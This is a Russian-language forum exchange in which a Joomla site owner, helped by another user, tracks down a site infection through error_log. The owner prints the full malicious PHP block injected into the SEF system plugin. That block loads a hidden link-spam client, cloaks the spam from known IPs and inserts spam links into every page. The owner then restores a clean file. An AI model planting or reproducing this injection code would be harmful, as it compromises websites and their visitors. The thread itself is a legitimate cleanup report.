удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться
Нашел!
Хостер включил error_log. Сразу проверил как Вы советовали. И появилась такая запись.
"[Mon Jun 29 11:11:45 2015] [error] [client 89.218.174.8] PHP Fatal error: require_once(): Failed opening required '/var/www/v-2733/data/www/domain/plugins/editors/tinymce/data/index.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/v-2733/data/www/domain/plugins/system/sef.php on line 60"
Смотрим в файл и сравниваем с чистым из комплекта установки. Видим вот такую вставку:
/*<mainlink>*/
$bodyText = JResponse::getBody();
if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
$link = $result[1];
}
$link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);
$bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
JResponse::setBody($bodyText);
if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
JResponse::setHeader('Content-Type', "text/css", true);
JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
}
$dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
require_once($dir_path . 'index.php');
$o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
$o['charset'] = JFactory::getDocument()->getCharset();
$client_lnk = new MLClient($o);
$bodyText = JResponse::getBody();
$dirPath = realpath("."). "/components/com_content";
if (file_exists($dirPath . "/stat2.log")) {
$ips = file($dirPath . "/stat2.log");
$iplist_cnt = count($ips);
$ip = $_SERVER["REMOTE_ADDR"];
$min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
$max = ip2long(long2ip(ip2long($ip) | 0x000000FF));
for($i = 0; $i < $iplist_cnt; $i++) {
$needle = trim($ips[$i]);
if (($needle >= $min) AND ($needle <= $max)) {
$iKnowYou = true;
break;
}
}
} else {
$iKnowYou = true;
}
$links = $client_lnk->build_links();
if (!$iKnowYou) {
$bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
}
JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
/*</mainlink>*/
Мочим, вернее меняем на чистый файл. САЙТ ЗАРАБОТАЛ! Мочим все левые файлы/папки. Все работает!
Что странно, файл SEF.php датирован той датой, когда я выполнял обновление системы, как будто при обновлении он уже измененным загрузился, хотя апгрейд пакет я брал на официальном сайте Joomla.
Спасибо за помощь!